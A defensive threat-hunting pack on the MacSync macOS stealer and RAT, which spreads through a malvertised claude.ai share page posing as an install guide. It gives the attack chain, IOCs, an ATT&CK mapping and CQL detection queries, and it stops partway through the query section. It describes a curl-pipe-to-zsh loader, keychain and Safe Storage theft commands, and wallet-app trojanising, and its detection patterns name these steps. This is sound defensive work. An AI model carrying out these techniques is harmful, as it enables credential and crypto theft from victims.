MacSync — Six-Stage macOS Infostealer + RAT Delivered by a Fake Claude Install Guide

A malvertised Google Ads result pushes victims to a weaponised claude.ai/share conversation badged "Shared by Apple Support" that tells them to paste a curl -k … | zsh one-liner into Terminal. Six stages follow: a polymorphic zsh loader, a server-side AppleScript stealer, a native Mach-O RAT, a separately signed Screen Recording TCC helper, and in-place trojanisation of Ledger and Trezor wallet apps that phish the recovery seed phrase.
Threat
MacSync Stealer + RAT (AMOS/Atomic lineage)
Severity
ACTIVE ITW
Type
Infostealer · RAT · Wallet trojan
Initial Access
Malvertising → ClickFix Terminal paste
Platform
macOS (Intel + Apple Silicon)
Version
v0.1 · 2026-08-01
Author
HuntPack
Confidence
High — vendor RE report + 3 corroborating outlets
01

Executive Summary

What the attacker wants: irreversible crypto theft, with a full credential haul as the consolation prize. Huntress counted roughly 60 wallet browser extensions, 21 desktop wallet apps and three trojanised hardware-wallet companion apps in the collection list. The keychain, browser cookies, Telegram sessions, SSH and cloud keys are all taken, but the weight of the kit sits on wallets, and the final stage waits for the victim to type their BIP39 recovery phrase into what looks like their own Ledger.

How it gets in: no exploit and no malicious file. The operator bought a Google Ads placement above the organic anthropic.com result for "how to install Claude on a Mac". The ad lands on a real claude.ai/share page — Anthropic's own domain, Anthropic's own certificate — carrying an operator-chosen "Shared by Apple Support" display name that the platform's own safety banner then repeats back to the reader as fact. The page tells the user to open Terminal and paste one command. That is the entire delivery mechanism.

Why it is worse than a commodity stealer: the stealer body never lands on the endpoint. Stage 3 is AppleScript served on demand from /dynamic behind an api-key gate and piped straight into osascript, so it can be changed at will and there is no file to hash. Stage 4 installs a statically-linked C++ Mach-O RAT with an interactive forkpty shell. Stage 5 rents a separately signed helper whose only job is to farm the Screen Recording TCC grant. Stage 6 rewrites the victim's own wallet apps in place and ad-hoc re-signs them.

The highest-value defensive angle: the per-build hashes and the per-delivery 8-hex identifiers change every build — the vendor says so explicitly and this pack agrees. Anchor on the behaviours: curl -k piped into zsh from an interactive Terminal; curl .../dynamic piped into osascript; a repeating dscl . authonly password oracle; a .hcpi binary under ~/.local with a .mpwd beside it; /usr/sbin/screencapture -x from a non-Apple parent; and an ad-hoc codesign -f -s - over a wallet bundle.

Defender priority: a confirmed hit means the account password was validated in plaintext, the keychain was opened with it, and every browser session cookie is in attacker hands. Treat the host as fully compromised and reimage. Critically, removing the malware does not fix the wallet — Ledger Wallet.app, Ledger Live.app and Trezor Suite.app are rewritten on disk and will keep phishing the seed phrase. Any host where a seed phrase may have been entered needs funds moved to a wallet derived from a new seed, generated on a clean device. Possession of the phrase is permanent possession of the wallet.

02

Source Review & Web Hunter Notes

TierSourceWeightWhat it contributed
1 · Vendor REHuntress — Reverse Engineering the Six Stages of MacSync Stealer and RAT (2026-07-29)PrimaryWhole chain. Recovered from the attacker's own delivery servers after the victim host went offline. Supplies every hash, every endpoint path, both C2 tiers, the host artifact list and the ATT&CK mapping this pack uses.
2 · PressIT Security Guru (2026-07-30)CorroboratingIndependent write-up of the Huntress findings; confirms the malvertising → claude.ai/share → Terminal-paste narrative and the wallet-rewrite stage. Carries no independent indicators.
2 · PressGBHackers (2026-07-30)CorroboratingReproduces the delivery domains, both C2 tiers, the seed-drop domains, the .hcpi/.mpwd pair and the /tmp/macsync_<token>.lock mutex. Second independent restatement of the atomic IOCs.
2 · PressCyber Security News (2026-07-30)Second waveDocuments a different infrastructure set running the same kit: hybridcustomhomes[.]com delivery, sibling domains, a second api-key and a LaunchAgent impersonating Google Keystone. Treated here as a separate wave, tagged as such, not merged into the Huntress indicator set.

Research decisions

  • Two waves, kept separate. The Huntress report and the Cyber Security News report describe the same malware family on different delivery infrastructure (agenticsora[.]com/malwareaudit[.]com versus hybridcustomhomes[.]com and siblings, and two different api-key values). Both sets ship, but the CSV tags them wave:huntress and wave:csn so a hit tells you which build you are looking at.
  • One hash was dropped. The Cyber Security News IOC table lists a 66-character "SHA-256" — two characters too long for a valid SHA-256. It is a transcription error at the source, so it is not shipped in any form. The other hash in that table is well-formed and is included.
  • Two IPs are deliberately not blockable. 104.21.40.24 and 172.67.174.150 are published as "C2 IPs" in the second-wave reporting, but both are shared Cloudflare edge addresses. They appear in the IOC table for context only, marked enrich, and are excluded from the import CSV. Blocking them would break a large fraction of the internet and would not touch the operator.
  • Per-build artifacts are shipped as shapes, not values. The 8-hex identifier (54a28156, 6c66fd27, dbfc21d4, a3b73d35 are the four observed) regenerates per delivery, as does the loader's outer hash. Every query anchors on the shape com.apple.<8hex>.hcpi rather than a value.
  • Overlap with the existing AMOS pack. Stage 3 is largely the AMOS/Atomic playbook — osascript body, fake password prompt validated by dscl . authonly, Safe Storage keys out of the login keychain, ditto to /tmp/osalogging.zip. This pack is not a duplicate: stages 4 through 6 (the Mach-O RAT, the TCC capture helper, and the wallet-app rewrite) have no counterpart in the AMOS pack and carry most of the detection value here.
  • No prompt-injection content was found in any fetched source. All four are ordinary security journalism and vendor analysis. The attacker's own lure text and code are quoted inside the Huntress report as evidence; they were read as data and none of it was acted on.
03

Hunt Brief & Attack Chain

Hunt hypotheses

IDHypothesisPrimary telemetryQuery
H1A user pasted a curl command with certificate validation disabled into an interactive Terminal, and the response was piped into a shell without ever touching disk.ProcessRollup2 (Mac)Q1
H2osascript was driven by a shell/curl chain, executing AppleScript fetched live from a remote /dynamic endpoint.ProcessRollup2 (Mac)Q2
H3A process ran dscl . authonly repeatedly against the console user — the silent password-validation oracle behind the fake "System Preferences" dialogue.ProcessRollup2 (Mac)Q3
H4Chromium "Safe Storage" keys were pulled from the login keychain, with a keychain-unlock fallback driven by a captured plaintext password staged at /tmp/.kpwd.ProcessRollup2 (Mac)Q4
H5Collection was staged under /tmp/sync<random>/, guarded by a /tmp/macsync_<token>.lock mutex, and archived with ditto --sequesterRsrc to /tmp/osalogging.zip.ProcessRollup2 (Mac)Q5
H6A Mach-O implant was fetched to ~/.local/com.apple.<8hex>.hcpi, made executable, handed a stolen password via ~/.local/.mpwd, and persisted with a PlistBuddy-built LaunchAgent using RunAtLoad + KeepAlive.ProcessRollup2 (Mac)Q6
H7A helper app named "Screen Recording" raised a TCC prompt, then shelled out to /usr/sbin/screencapture -x, coordinating with the RAT through /tmp/.com.apple.tcc.* marker files.ProcessRollup2 (Mac)Q7
H8A hardware-wallet companion app was copied out of /Applications, had its app.asar and Info.plist swapped, was ad-hoc re-signed with codesign -f -s -, and gained injected recovery-step-*.html phishing pages.ProcessRollup2 (Mac)Q8
H9The host resolved or connected to MacSync delivery, panel, RAT-C2 or seed-drop infrastructure.DnsRequest, NetworkConnectIP4 (Mac)Q9
H10~/.zshrc was rewritten to re-pull the loader on the next interactive shell, and the Full Disk Access settings pane was opened programmatically to walk the victim through granting FDA.ProcessRollup2 (Mac)Q10

Attack chain

StageActionArtifactsDetection
0 · MalvertisingPaid Google Ads placement above the organic anthropic.com result; ad-click redirect carries an aclk hop, a gclid, and campaign id 23991223358. Destination is a real claude.ai/share page badged "Shared by Apple Support".Browser history: aclk redirect → claude.ai/share/<id>Proxy / browser-history review (S7)
1 · zsh loaderVictim pastes curl -kfsSL $(echo '<base64>'|base64 -D)|zsh. 1,442-byte zsh wrapper; three-line heredoc around a gzip+Base64 payload run with eval. Per-build polymorphic: variable name, heredoc delimiter and outer hash change every build.No file on disk. Process tree only.Q1
2 · daemon_functionInflated payload runs a backgrounded daemon_function: fetches /dynamic?txd=<token> and pipes it to osascript; uploads /tmp/osalogging.zip in 10 MiB chunks by HTTP PUT to /gate, retrying up to 8 times; deletes the archive on success.Detached with three /dev/null redirects; plain HTTP, TLS verification offQ2, Q5
3 · AppleScript stealer~46 KB AppleScript served as text/html, executed in memory. Probes ls -al ~/Library/Cookies/ for Full Disk Access, walks the victim into granting it, appends a re-pull line to ~/.zshrc to survive the required Terminal restart. Fake "System Preferences" dialogue loops until dscl . authonly confirms a valid password. Decodes /tmp/.kgrab.sh to lift Chromium Safe Storage keys. Collects 13 Chromium browsers, Gecko profiles, ~21 desktop wallets, 89 wallet extension IDs, Telegram tdata/, keychain files, ~/.ssh, ~/.aws, ~/.kube, Safari and Notes./tmp/macsync_<token>.lock, /tmp/sync<random>/, /tmp/.kgrab.sh, /tmp/.kpwd, /tmp/osalogging.zipQ3, Q4, Q5, Q10
4 · Mach-O RATUniversal C++ Mach-O, stripped, ad-hoc signed with no Team ID, statically linked with its own OpenSSL and Brotli. TLS WebSocket to a bare IP; JSON frames wrapped in AES-256-CBC and Base64'd into a msg= field. Interactive shell via forkpty + /bin/zsh, chunked file up/download, self-removal on command. Delivery domain and three of its own paths hidden behind a single-byte 0xAA XOR.~/.local/com.apple.<8hex>.hcpi, ~/.local/.mpwd, ~/Library/LaunchAgents/com.apple.<8hex>.hcpi.plistQ6, Q9
5 · Capture helper84 KB Objective-C ScreenCap in a minimal .app, ad-hoc re-signed to com.apple.<8hex>.capture, CFBundleName literally "Screen Recording" and LSUIElement true. Calls CGRequestScreenCaptureAccess() so the system prompt reads like a native dialogue, then captures by shelling out to Apple's own signed binary.~/.local/com.apple.<8hex>.capture.app, /tmp/.com.apple.tcc.prompted, /tmp/.com.apple.tcc.resultQ7
6 · Wallet trojansFor each of Ledger Wallet.app, Ledger Live.app and Trezor Suite.app that is present: download app.asar + Info.plist, round-trip the bundle through /tmp to detach it from its signature, swap the two files, ad-hoc re-sign. Trezor build additionally runs xattr -cr and inserts its drop host into the main-process permitted-origins allowlist. On next launch the app force-navigates to an injected seed-phrase form and POSTs the phrase to /modules/wallets.Ad-hoc signature on a wallet bundle; recovery-step-*.html; ElectronAsarIntegrity mismatch; recovery-step-1.html.bac left behind in the Trezor buildQ8, Q9

Persistence bug worth exploiting. The stealer's own cleanup of the ~/.zshrc line is broken: grep -Fvx <cmd> /tmp/.zshrc > /tmp/.zshrc.tmp || mv … only fires the mv when grep matches nothing, so on any real profile the filtered copy is written and then ignored. On a second failed run the backup already contains the one-liner and the restore puts it straight back. Read ~/.zshrc on every host where the Full Disk Access pane opened more than once — on that path the "self-cleaning" persistence does not clean itself.

04

Consolidated IOC Table

Network — wave 1 (Huntress-reported)

TypeValueConfActionContext
domainagenticsora[.]comhighdetectDelivery C2, Cloudflare-fronted with a PHP origin. Serves the loader, the AppleScript stealer, the agent, the capture helper and the wallet payloads. Also hidden inside the RAT behind a 0xAA XOR.
domainmalwareaudit[.]comhighdetectSecond delivery domain seen on another macOS host running the identical chain — same tokenised /curl endpoint, same api-key.
ipv485.206.161[.]241 port 8443highdetectRAT command-and-control. Raw IP over TLS, path /agent/. Hardcoded only in the Mach-O agent.
ipv4103.216.221[.]95highdetectOperator panel IP. Recorded in the stage 3 beacon info file and nowhere else in the samples.
domainmain.sdhomeinspectors[.]comhighdetectLedger seed-phrase drop, path /modules/wallets. Attacker-registered despite the innocuous small-business name.
domainmain.southcarolinacounselor[.]comhighdetectTrezor seed-phrase drop, same path and JSON schema. Inserted into Trezor Suite's permitted-origins list so the fetch is allowed through.
uri path/curl/<token>, /dynamic?txd=, /gate?buildtxd=, /loader/agent/<token>, /loader/capture-agent/<token>, /ledger/<token>, /trezor/<token>, /modules/walletshighhuntKit endpoint shapes. /modules/wallets receiving a JSON body with a seedwords array is the single highest-fidelity network signature in the whole chain.
http headerapi-key: 9dd465d26c7d86b4a6f514a4b46b2295highhuntStatic api-key the delivery server checks for. Shared across both wave-1 delivery domains, which is part of what ties the builds to one operation.

Network — wave 2 (separately reported, same family)

TypeValueConfActionContext
domainhybridcustomhomes[.]commediumdetectDelivery C2 for a second wave. Same /curl/<token> shape, different operator infrastructure and a different api-key.
domainhoustongaragedoorinstallers[.]commediumdetectSibling domain in the same wave.
domainmansfieldpediatrics[.]commediumdetectSibling domain in the same wave.
http headerapi-key: 5190ef1733183a0dc63fb623357f56d6mediumhuntWave-2 api-key. Different value from wave 1 — a useful discriminator for which build a host met.
ipv4104.21.40.24, 172.67.174.150lowenrichDO NOT BLOCK. Published as wave-2 "C2 IPs", but both are shared Cloudflare edge addresses fronting millions of unrelated sites. Useful only as passive-DNS context. Excluded from the import CSV for this reason.

File hashes (SHA-256)

ComponentSHA-256ConfAction
Stage 3 dynamic AppleScript3db8befc08dc02ab7a76b5193abd81653775e8f3ceac5864c7c2188b2dbd3c54highdetect
Stage 4 Agent RAT (universal Mach-O)3ae26ed89d3a1a140edc89ca78513aba2895789ed0d0f64cad6605b6f2347c7ehighdetect
Stage 5 capture agent bundle78dea0693ac2d70bdf8be7588667a75910e43fd84397ad484e710e37369a30f7highdetect
Stage 5 ScreenCap (Mach-O)9c09c303fa058c2d3e179969bd58ca5523775ff2d310fb2f8266ac74cb21ee81highdetect
Ledger Wallet trojan payload071bd109208eb1080ef525b5be394244cec467c59ffef5b8782cfb5e4850401dhighdetect
Ledger Live trojan payload31566a1df7070f30cb990aa5eab310c1d4e0266c8776e9438138e5438ec1cff8highdetect
Trezor Suite trojan payload230dff4bf9442a951dcd6898b2110924969a20668c20a43e3ceed6fcef65963ehighdetect
Wave-2 MacSync payloadae89034f81cb488b67a27ebe66e21a5a60098a6dc7271dd18be883bf221b02bfmediumdetect

The stage 1 loader is deliberately absent from this table. Its outer hash is unique per build by design — the token change alters the compressed byte stream and the wrapper randomises its own variable name and heredoc delimiter — so a loader hash is worth nothing. Hunt it with Q1 instead.

Host and file-system artifacts

Path / shapeStageNotes
/tmp/macsync_<token>.lock3Single-instance mutex created with mkdir; the family's namesake. Observed as /tmp/macsync_e9967985….lock.
/tmp/sync<random>/3Collection staging root, deleted after archiving. Observed as /tmp/sync1024394/.
/tmp/osalogging.zip2, 3The loot archive. Built by ditto -c -k --sequesterRsrc, uploaded in 10 MiB chunks, then deleted. The name is chosen to read like routine osascript logging.
/tmp/.kgrab.sh, /tmp/.kpwd3Base64-decoded 3,434-byte keychain Safe Storage grabber and the captured plaintext password it falls back to. Both deleted the moment the grab returns.
~/.zshrc, /tmp/.zshrc3Re-pull line appended to survive the Terminal restart Full Disk Access requires; backup taken to /tmp/.zshrc. The restore is buggy (see S3).
~/.local/com.apple.<8hex>.hcpi4The Mach-O RAT. Observed identifier on the victim host: a3b73d35; other builds used 54a28156, 6c66fd27, dbfc21d4.
~/.local/.mpwd4Captured account password, read by the RAT and submitted as a {"type":"password"} message.
~/Library/LaunchAgents/com.apple.<8hex>.hcpi.plist4Persistence with RunAtLoad + KeepAlive, built by four PlistBuddy -c 'Add …' calls rather than written as a file.
~/.local/com.apple.<8hex>.capture.app5Capture helper. CFBundleName is literally "Screen Recording" so the TCC prompt reads like a system dialogue.
/tmp/.com.apple.tcc.prompted, /tmp/.com.apple.tcc.result4, 5TCC state handshake between the RAT and the capture helper.
/Applications/{Ledger Wallet,Ledger Live,Trezor Suite}.app6Trojanised in place and ad-hoc re-signed; injected recovery-step-*.html files; ElectronAsarIntegrity hash never matches the shipped app.asar.

The LaunchAgent label is not always com.apple.. The installer carries a list of genuine updater labels — Google Keystone, Adobe ARM and Creative Cloud, Microsoft AutoUpdate and OneDrive, Dropbox, Spotify, Grammarly, JetBrains Toolbox — and picks the first one whose plist already exists on the host, hiding behind whatever updater the victim happens to run. It only falls back to com.apple.<8hex> when it matches none of them. The second-wave reporting shows exactly this, with persistence at Library/LaunchAgents/com.google.keystone.agent.plist. Detection that keys solely on the com.apple. prefix will miss the impersonating copies — anchor on the ~/.local .hcpi drop and the paired .mpwd instead.

05

Affected Surface & Telemetry Matrix

SurfaceExposureTelemetryPriorityGap
macOS endpoints with Terminal accessEntire delivery path. Developer and admin laptops are the bullseye — they are the population searching for "how to install Claude Code on a Mac".Falcon for macOS ProcessRollup2CriticalNone — process telemetry carries the whole chain
macOS Keychain + browser credential storeslogin keychain dumped with a validated password; Chromium Safe Storage keys lifted for 13 browsers; cookies, Login Data and Web Data taken from all of them plus 4 Gecko browsersProcessRollup2 (security, dscl)CriticalFile-read visibility on profile directories varies by sensor policy
Crypto wallets — extensions, desktop apps, hardware companions~89 wallet extension IDs, ~21 desktop wallet apps, 3 hardware-wallet companions rewritten in place to phish the seed phraseProcessRollup2 (codesign, xattr, ditto)CriticalBundle-integrity drift is not natively alerted; needs the S13-C audit
Developer secrets and cloud access~/.ssh, ~/.aws, ~/.kube, Telegram tdata/, shell dotfiles, plus a Desktop/Documents/Downloads sweep by extension including seed, kdbx, pem and walletProcessRollup2, cloud IdP logsCriticalDownstream SaaS/cloud takeover is only visible in those platforms' own logs
Screen contentsScreen Recording TCC grant farmed by a separately signed helper; capture via Apple's own screencapture binary and exfiltrated over the RAT's chunked uploadProcessRollup2, TCC database reviewHighTCC grant changes are not surfaced as EDR events; needs the S13-B audit
Network egressPlain HTTP delivery with TLS verification disabled; TLS WebSocket to a bare IP on 8443; seed POSTs to two attacker-registered domainsDnsRequest, NetworkConnectIP4, proxy logsHighCloudflare fronting hides the origin; raw-IP TLS bypasses domain-based controls entirely
Search / advertising channelThe lure sits on claude.ai under Anthropic's certificate, reached through a paid ad. No lookalike domain and no certificate warning exist to notice.Proxy logs, browser historyMediumDomain reputation and TLS inspection are both blind to this by construction
06

MITRE ATT&CK Mapping

TacticTechniqueIDBehaviourCoverage
Initial AccessDrive-by Compromise (malvertising)T1189Paid ad above the organic result; lure hosted on a legitimate AI share URLS7 · proxy review
ExecutionCommand and Scripting Interpreter: Unix ShellT1059.004zsh loader; do shell script; popen/forkpty in the RATQ1, Q6
ExecutionCommand and Scripting Interpreter: AppleScriptT1059.002~46 KB AppleScript piped to osascript from a live HTTP fetchQ2
ExecutionUser ExecutionT1204Fake Full Disk Access, password and TCC dialogues driving the victimQ3, Q7, Q10
Defense EvasionDeobfuscate/Decode Files or InformationT1140Base64 + gzip loader; Base64-embedded .kgrab.sh; 0xAA XOR stringsQ1, Q4
Defense EvasionObfuscated Files or InformationT1027Per-build polymorphic wrapper — random variable name and heredoc delimiterQ1
Defense EvasionMasqueradingT1036com.apple.* naming, an app literally called "Screen Recording", vendor-updater LaunchAgent labels, a genuine wallet windowQ6, Q7
Defense EvasionSubvert Trust ControlsT1553codesign -f -s - ad-hoc re-sign; Trezor permitted-origins tamperQ8
Defense EvasionAbuse Elevation Control Mechanism / TCC state trackingT1548CGRequestScreenCaptureAccess(); /tmp/.com.apple.tcc.* markersQ7
Defense EvasionIndicator Removal: File DeletionT1070.004.kgrab.sh, .kpwd, /tmp/sync*, the lock dir and the archive all deletedQ5
Credential AccessCredentials from Password Stores: KeychainT1555.001security unlock-keychain with the captured password, then dumpQ4
Credential AccessCredentials from Web BrowsersT1555.003security find-generic-password -s "Chrome Safe Storage" and 12 siblingsQ4
Credential AccessSteal Web Session CookieT1539Cookies and Login Data across 13 Chromium and 4 Gecko browsersQ5
Credential AccessUnsecured Credentials in FilesT1552.001.mpwd, ~/.ssh, ~/.aws, ~/.kube; extension sweep for seed, kdbx, pem, walletQ5, Q6
Credential AccessInput Capture: GUI Input CaptureT1056.002Fake "System Preferences" password prompt validated by dscl . authonly; injected 24-field recovery-phrase formQ3, Q8
CollectionData from Local SystemT1005Browsers, wallets, Telegram, Notes, Safari, dotfilesQ5
CollectionData Staged: Local Data StagingT1074.001/tmp/sync<random>/Q5
CollectionArchive Collected Data via UtilityT1560.001ditto -c -k --sequesterRsrc/tmp/osalogging.zipQ5
CollectionScreen CaptureT1113/usr/sbin/screencapture -x shelled out by the signed helperQ7
DiscoverySystem Information DiscoveryT1082system_profiler for software, hardware and displaysQ5
PersistenceCreate or Modify System Process: Launch AgentT1543.001PlistBuddy-built LaunchAgent with RunAtLoad + KeepAliveQ6
PersistenceCompromise Host Software BinaryT1554Wallet app.asar swap and ad-hoc re-signQ8
Command and ControlApplication Layer Protocol: Web ProtocolsT1071.001HTTP delivery; WebSocket-over-TLS control channelQ9
Command and ControlEncrypted ChannelT1573.002Bundled OpenSSL 3.6.2; self-signed cert accepted, trust validation skippedQ9
Command and ControlNon-Standard PortT15718443 to a bare IPQ9
Command and ControlIngress Tool TransferT1105Chunked download of agent, capture helper and wallet payloadsQ1, Q6
ExfiltrationExfiltration Over C2 ChannelT1041Chunked HTTP PUT of the archive to /gate, retry x8 with backoffQ2, Q9
ExfiltrationExfiltration Over Web ServiceT1567Seed-phrase POST to two attacker-owned drop domains at /modules/walletsQ9
ImpactFinancial TheftT1657Wallet and seed-phrase targeting — the campaign's actual objectiveQ8, Q9
07

Native Audit-Log Hunts (non-CQL)

Web proxy / secure web gateway

  • The ad hop is a durable artifact. A sponsored click never goes straight to the destination — it passes through Google's ad-click redirect, a URL with aclk in the path carrying a gclid. Hunt proxy logs for an aclk hop immediately followed by a claude.ai/share/ request. An organic click leaves neither. The wave-1 buy carried gad_campaignid=23991223358; the second-wave reporting names campaign 23936394455.
  • POST bodies to /modules/wallets containing a seedwords array. If your gateway inspects request bodies, this is the highest-fidelity single signature available anywhere in the chain — nothing legitimate looks like it.
  • Requests carrying a static api-key header equal to 9dd465d26c7d86b4a6f514a4b46b2295 (wave 1) or 5190ef1733183a0dc63fb623357f56d6 (wave 2).
  • Plain-HTTP requests to /curl/ or /dynamic?txd= from a macOS user agent, or a spoofed macOS/Chrome UA fetching app.asar.

macOS host audit (push via MDM — see S13)

  • ~/.zshrc on every host where the Full Disk Access pane opened more than once — the stealer's restore logic is broken and leaves the re-pull line in place on that path.
  • Every plist in ~/Library/LaunchAgents whose ProgramArguments point into ~/.local, regardless of the label. The label may impersonate Keystone, Adobe ARM, Microsoft AutoUpdate, OneDrive, Dropbox, Spotify, Grammarly or JetBrains Toolbox.
  • Code-signature status of every wallet app: codesign -dvv on Ledger Wallet.app, Ledger Live.app and Trezor Suite.app. An ad-hoc signature with no Team ID on an app that ships with a vendor signature is conclusive.
  • TCC review: any Screen Recording grant held by a bundle identifier under com.apple.* that is not shipped by Apple.
  • Shell history for the pasted one-liner shape: base64 -D inside a command substitution feeding curl, piped to zsh.

Identity and SaaS

  • Assume every browser session cookie on the host is replayable. Hunt your IdP for sessions resumed from a new ASN or geography without a fresh MFA event, for accounts belonging to any user on a hit host.
  • Review source-control and CI/CD activity for those users — SSH keys, cloud credentials, kubeconfig and package-publishing tokens were all in scope of the collection.
08

CrowdStrike LogScale CQL Hunt Queries

Pick your tenant's cloud first — every "Open in Falcon" button below uses this selection.

No query carries an in-query time filter. Set the window with the console's time picker — the intent is recorded as a // LOOKBACK: comment on each card. All ten are macOS-only and filter on event_platform=Mac; basenames are matched via FileName so no path separator has to be escaped inside a regex.

Q1 · Stage 1 — curl with TLS verification disabled, launched from an interactive Terminal
CONF HIGHFP LOWCOST LOW

Looks for: the pasted one-liner. A curl whose parent is Terminal/iTerm2 or an interactive shell, carrying a -k (insecure) flag — MacSync uses curl -kfsSL — or a base64 -D decode feeding the same chain. The second branch catches the pipe-to-shell shape directly from the command line. FP: low. Legitimate installers use curl -fsSL | sh, but very few disable certificate validation, which is what makes the -k the discriminator here (H1, T1059.004/T1105/T1140).

// HUNT: MacSync stage 1 — curl -k (TLS verification off) pasted into an interactive Terminal
// MITRE: T1059.004, T1105, T1140, T1204
// CONF: high  FP: low  COST: low | REQUIRES: Falcon for macOS ProcessRollup2
// LOOKBACK: 30d — set the window in the console time picker
// FALSE POSITIVES: rare dev bootstraps that disable cert checks behind a corporate MITM proxy
// TUNING: exclude ComputerName of known build agents, and CommandLine matching your internal artifact host
#event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/
| event_platform=Mac
| ParentBaseFileName=/^(Terminal|iTerm2|zsh|bash|sh|login|Script Editor|osascript)$/i
| (FileName=/^curl$/i and CommandLine=/\s-{1,2}[a-zA-Z]*k[a-zA-Z]*(\s|$)/) or (FileName=/^base64$/i and CommandLine=/\s(-D|-d|--decode)(\s|$)/) or CommandLine=/curl.*\|\s*(zsh|bash|sh)\b/i
| table([@timestamp, ComputerName, aid, UserName, ParentBaseFileName, FileName, CommandLine], limit=200)
Q2 · Stage 2 — remote AppleScript fetched and piped straight into osascript
CONF HIGHFP MEDCOST LOW

Looks for: the fetch-and-run bridge — osascript whose parent is a shell or curl, or any command line referencing the kit's /dynamic?txd= endpoint. This is the moment the stealer body arrives; it never lands on disk, so this process relationship is the only artifact. FP: medium — administrators and packaged apps drive osascript from shells legitimately. Prioritise hits whose ancestry includes curl, and hits on hosts that also fired Q1 (H2, T1059.002).

// HUNT: MacSync stage 2 — curl .../dynamic piped to osascript (server-side stealer body)
// MITRE: T1059.002, T1105
// CONF: high  FP: medium  COST: low | REQUIRES: ProcessRollup2 (macOS)
// LOOKBACK: 30d — set the window in the console time picker
// FALSE POSITIVES: MDM/automation osascript, packaged apps invoking osascript from a helper shell
// TUNING: exclude ParentBaseFileName of your MDM agent (jamf, Munki, kandji) and known automation CommandLine
#event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/
| event_platform=Mac
| (FileName=/^osascript$/i and ParentBaseFileName=/^(zsh|bash|sh|curl|Terminal|iTerm2|login)$/i) or CommandLine=/\/dynamic\?txd=/i or CommandLine=/curl.*\|\s*osascript/i
| table([@timestamp, ComputerName, aid, UserName, ParentBaseFileName, FileName, CommandLine], limit=200)
Q3 · Stage 3 — repeating dscl . authonly password-validation oracle
CONF HIGHFP LOWCOST LOW

Looks for: dscl . authonly, which asks Open Directory to check a username and password without opening a login session — a silent yes/no oracle. MacSync loops a fake "System Preferences" dialogue against it until a password validates, so the signal is repetition: one event per wrong guess. This query counts per host and user and sorts the loudest first. FP: low. A handful of legitimate admin scripts validate credentials this way, but they do not do it in a tight repeating loop (H3, T1056.002/T1204).

// HUNT: MacSync stage 3 — dscl . authonly loop behind the fake System Preferences password prompt
// MITRE: T1056.002, T1204, T1555
// CONF: high  FP: low  COST: low | REQUIRES: ProcessRollup2 (macOS)
// LOOKBACK: 30d — set the window in the console time picker
// FALSE POSITIVES: admin/helpdesk scripts that validate a credential once
// TUNING: investigate any host with more than a couple of attempts; single events are usually benign admin tooling
#event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/
| event_platform=Mac
| FileName=/^dscl$/i
| CommandLine=/authonly/i
| groupBy([ComputerName, aid, UserName, ParentBaseFileName], function=[count(as=AuthOnlyAttempts), min(@timestamp, as=FirstSeen), max(@timestamp, as=LastSeen)], limit=500)
| sort(AuthOnlyAttempts, order=desc, limit=200)
Q4 · Stage 3 — Chromium Safe Storage key theft and keychain unlock with a captured password
CONF HIGHFP MEDCOST MED

Looks for: the /tmp/.kgrab.sh keychain grabber and what it does — security find-generic-password -w -s "<Browser> Safe Storage" across 13 Chromium browsers, with a fallback to security unlock-keychain -p "$(cat /tmp/.kpwd)" and a full keychain dump. Those Safe Storage keys are what decrypt the stolen cookies and saved logins. The staging paths /tmp/.kgrab.sh and /tmp/.kpwd are campaign-specific and near-zero FP on their own. FP: medium — password managers and some enterprise agents call security find-generic-password routinely (H4, T1555.001/T1555.003).

// HUNT: MacSync stage 3 — Safe Storage key extraction + keychain unlock with the captured password
// MITRE: T1555.001, T1555.003, T1552.001
// CONF: high  FP: medium  COST: medium | REQUIRES: ProcessRollup2 (macOS)
// LOOKBACK: 30d — set the window in the console time picker
// FALSE POSITIVES: password managers, MDM enrolment helpers and CI agents reading their own keychain items
// TUNING: exclude ParentBaseFileName of approved password managers and your MDM agent; the /tmp/.kgrab.sh and /tmp/.kpwd branches need no tuning
#event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/
| event_platform=Mac
| CommandLine=/\/tmp\/\.(kgrab\.sh|kpwd)/i or CommandLine=/Safe Storage/i or (FileName=/^security$/i and CommandLine=/(unlock-keychain|dump-keychain|find-generic-password)/i)
| table([@timestamp, ComputerName, aid, UserName, ParentBaseFileName, FileName, CommandLine], limit=200)
Q5 · Stage 3 — MacSync mutex, staging root and the ditto loot archive
CONF HIGHFP LOWCOST LOW

Looks for: the three filesystem artifacts collection cannot avoid creating — the /tmp/macsync_<token>.lock mutex that gives the family its name, the /tmp/sync<random>/ staging root, and the ditto -c -k --sequesterRsrc archive to /tmp/osalogging.zip. All three are deleted after use, but the process events that created them survive, which is exactly how this chain was reconstructed on a host with no artifacts left. FP: low — these names are campaign-specific (H5, T1074.001/T1560.001/T1070.004).

// HUNT: MacSync stage 3 — macsync_*.lock mutex, /tmp/sync* staging, ditto to /tmp/osalogging.zip
// MITRE: T1074.001, T1560.001, T1005, T1070.004
// CONF: high  FP: low  COST: low | REQUIRES: ProcessRollup2 (macOS)
// LOOKBACK: 30d — set the window in the console time picker
// FALSE POSITIVES: essentially none — every string here is specific to this kit
// TUNING: none needed; investigate every hit and correlate with Q1 and Q2 on the same aid
#event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/
| event_platform=Mac
| CommandLine=/\/tmp\/macsync_/i or CommandLine=/osalogging\.zip/i or CommandLine=/\/tmp\/sync[0-9]/i or (FileName=/^ditto$/i and CommandLine=/sequesterRsrc/i) or (FileName=/^system_profiler$/i and CommandLine=/SPDisplaysDataType/i)
| table([@timestamp, ComputerName, aid, UserName, ParentBaseFileName, FileName, CommandLine], limit=max)
Q6 · Stage 4 — .hcpi RAT drop under ~/.local and the PlistBuddy LaunchAgent
CONF HIGHFP LOWCOST LOW

Looks for: the durable implant. Four shapes, any one of which is enough: a command line touching a .hcpi file; a fetch of /loader/agent/ or /loader/capture-agent/; the ~/.local/.mpwd password handoff; and a PlistBuddy -c 'Add …' building a LaunchAgent with RunAtLoad or KeepAlive. Note deliberately that this does not key on the com.apple. prefix — the label impersonates a real vendor updater whenever one is present on the host. FP: low; PlistBuddy building an autostart entry is worth reviewing on any endpoint regardless (H6, T1543.001/T1036/T1552.001).

// HUNT: MacSync stage 4 — ~/.local/com.apple.<8hex>.hcpi RAT, .mpwd handoff, PlistBuddy LaunchAgent
// MITRE: T1543.001, T1036, T1552.001, T1105
// CONF: high  FP: low  COST: low | REQUIRES: ProcessRollup2 (macOS)
